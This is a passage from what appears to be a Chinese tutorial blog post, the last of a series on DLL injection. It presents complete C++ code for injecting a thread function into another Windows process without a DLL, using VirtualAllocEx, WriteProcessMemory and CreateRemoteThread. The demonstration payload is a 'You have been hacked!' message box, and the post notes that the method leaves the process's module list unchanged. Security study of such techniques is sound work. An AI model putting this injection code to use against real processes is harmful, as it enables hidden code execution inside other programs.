结构体中保存了LoadLibraryA()、GetProcAddress()、GetModuleHandle()以及GetModuleFileName()这四个函数的地址。它们都属于Kernel32.dll,因此可以提前提取。User32Dll保存“User32.dll”字符串,因为我们用于病毒模拟的对话框函数——MessageBoxA()就存在于User32.dll中。而Text和Caption则分别表示对话框的内容以及标题。
接下来编写注入代码:void CNoDllInjectDlg::InjectCode(DWORD dwPid) { //利用PID值,获取欲注入的进程句柄 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid); if ( hProcess == NULL ) { AfxMessageBox("进程打开失败!"); return ; } DATA Data = { 0 }; //获取欲使用的API函数的句柄 Data.dwLoadLibrary = (DWORD)GetProcAddress( GetModuleHandle("kernel32.dll"), "LoadLibraryA"); Data.dwGetProcAddress = (DWORD)GetProcAddress( GetModuleHandle("kernel32.dll"), "GetProcAddress"); Data.dwGetModuleHandle = (DWORD)GetProcAddress( GetModuleHandle("kernel32.dll"), "GetModuleHandleA"); Data.dwGetModuleFileName = (DWORD)GetProcAddress( GetModuleHandleA("kernel32.dll"), "GetModuleFileNameA"); //对话框定义 lstrcpy(Data.User32Dll, "user32.dll"); lstrcpy(Data.MessageBox, "MessageBoxA"); lstrcpy(Data.Text, "You have been hacked! (by J.Y.)"); lstrcpy(Data.Caption, "Warning"); //申请数据结构的内存空间 LPVOID lpData = VirtualAllocEx(hProcess, //process to allocate memory NULL, //desired starting address sizeof(DATA), //size of region to allocate MEM_COMMIT | MEM_RESERVE, //type of allocation PAGE_READWRITE); //type of access protection if(lpData == NULL) { AfxMessageBox("申请数据区域失败!"); CloseHandle(hProcess); return; } DWORD dwWriteNum = 0; if (!WriteProcessMemory(hProcess,lpData,&Data,sizeof(DATA),&dwWriteNum)) { AfxMessageBox("数据结构写入进程失败!"); //失败就释放原先申请的内存区域,撤销内存页的提交状态 VirtualFreeEx(hProcess, lpData, sizeof(DATA), MEM_DECOMMIT); CloseHandle(hProcess); return; } //申请线程函数的内存空间 DWORD dwFunSize = 0x2000; LPVOID lpCode = VirtualAllocEx(hProcess, NULL, dwFunSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if(lpCode == NULL) { AfxMessageBox("申请函数区域失败!"); //失败就释放原先申请的内存区域 撤销内存页的提交状态 VirtualFreeEx(hProcess, lpCode, dwFunSize, MEM_DECOMMIT); CloseHandle(hProcess); return; } if (!WriteProcessMemory(hProcess,lpCode,RemoteThreadProc,dwFunSize,&dwWriteNum)) { AfxMessageBox("线程函数写入进程失败!"); //失败就释放原先申请的内存区域,撤销内存页的提交状态 VirtualFreeEx(hProcess, lpData, sizeof(DATA), MEM_DECOMMIT); VirtualFreeEx(hProcess, lpCode, dwFunSize, MEM_DECOMMIT); CloseHandle(hProcess); return; } HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpCode, lpData, 0, NULL); if (hRemoteThread == NULL) { AfxMessageBox("创建远程线程失败!"); //释放原先申请的内存区域,撤销内存页的提交状态 VirtualFreeEx(hProcess, lpData, sizeof(DATA), MEM_DECOMMIT); VirtualFreeEx(hProcess, lpCode, dwFunSize, MEM_DECOMMIT); CloseHandle(hProcess); return; } AfxMessageBox("成功注入!"); //等待线程退出 WaitForSingleObject(hRemoteThread, INFINITE); //释放原先申请的内存区域,撤销内存页的提交状态 VirtualFreeEx(hProcess, lpData, sizeof(DATA), MEM_DECOMMIT); VirtualFreeEx(hProcess, lpCode, dwFunSize, MEM_DECOMMIT); CloseHandle(hRemoteThread); CloseHandle(hProcess); }
上述代码稍长,但事实上,它的原理还是非常简单的,这里我依旧每一步都要判断是否执行成功,若是执行失败,则要释放掉之前所申请的资源。所以上述代码还是非常简单的。
卸载代码和注入代码没什么差别,关键是要把线程函数也写入目标进程中,这样在使用CreateRemoteThread()时,直接给出线程函数在目标进程中的地址即可。
线程函数的代码如下:DWORD WINAPI RemoteThreadProc(LPVOID lpParam) { PDATA pData = (PDATA)lpParam; // 定义API函数原型 HMODULE (__stdcall *MyLoadLibrary)(LPCTSTR); FARPROC (__stdcall *MyGetProcAddress)(HMODULE, LPCSTR); HMODULE (__stdcall *MyGetModuleHandle)(LPCTSTR); int (__stdcall *MyMessageBox)(HWND, LPCTSTR, LPCTSTR, UINT); DWORD (__stdcall *MyGetModuleFileName)(HMODULE, LPTSTR, DWORD); MyLoadLibrary = (HMODULE (__stdcall *)(LPCTSTR))pData->dwLoadLibrary; MyGetProcAddress = (FARPROC (__stdcall *)(HMODULE,LPCSTR))pData->dwGetProcAddress; MyGetModuleHandle = (HMODULE (__stdcall *)(LPCSTR))pData->dwGetModuleHandle; MyGetModuleFileName = (DWORD (__stdcall *)(HMODULE,LPTSTR,DWORD nSize))pData->dwGetModuleFileName; HMODULE hModule = MyLoadLibrary(pData->User32Dll); MyMessageBox = (int (__stdcall *)(HWND,LPCTSTR,LPCTSTR,UINT)) MyGetProcAddress(hModule, pData->MessageBox); char szModuleName[MAX_PATH] = { 0 }; MyGetModuleFileName(NULL, szModuleName, MAX_PATH); MyMessageBox(0, pData->Text, pData->Caption, 0); return 0; } 线程函数的代码稍显复杂,但事实上这些都是基本知识,不再赘述。然后编写“注入”按钮事件: [cpp] view plaincopy void CNoDllInjectDlg::OnBtnInject() { // TODO: Add your control notification handler code here DWORD dwPid = GetDlgItemInt(IDC_EDIT_PID, FALSE, FALSE); InjectCode(dwPid); } 最后在NoDllInjectDlg.h文件中加入: [cpp] view plaincopy void InjectCode(DWORD dwPid);
至此,所有代码编写完毕,经实际测试可行(Release版),效果与上一篇文章所论述的情况是相同的。
五、补充说明
如果以Debug方式编译,VC++会在程序中加入很多与调试相关的内容,而这些内容的地址是相对于当前进程的地址,这些代码到了别的进程就有可能会出错。因此这里应该使用Release方式编译,因为Release方式编译不会由于插入与调试相关的代码而导致注入的代码到别的进程会出错。
另外,如果采用无DLL的注入方式,那么用“冰刃”来查看所注入代码的进程的模块信息,注入前后,模块的数量是不会有任何变化的,只是在DLL注入的时候,模块数量才会增加。所以针对于这种无DLL的注入方式,想要结束注入,那么只要直接关闭用于注入程序就可以了。比如本例,注入后弹出对话框,那么此时直接结束“NoDllInject.exe”的进程,对话框也就关闭了,说明注入失效。
六、小结 本篇文章是DLL注入研究的最后一篇,相信这三篇文章会让大家对于DLL注入有了较为全面的了解。利用在第二篇文章中所编写的DLL注入与卸载工具,可以为后续的研究提供遍利的工具支持,以后也会继续使用。在此,我也欢迎大家提出宝贵意见,针对文章中的论述,多多交流,可能会发现我也没有发现的问题,毕竟当局者迷旁观者清,这样可以共同提高。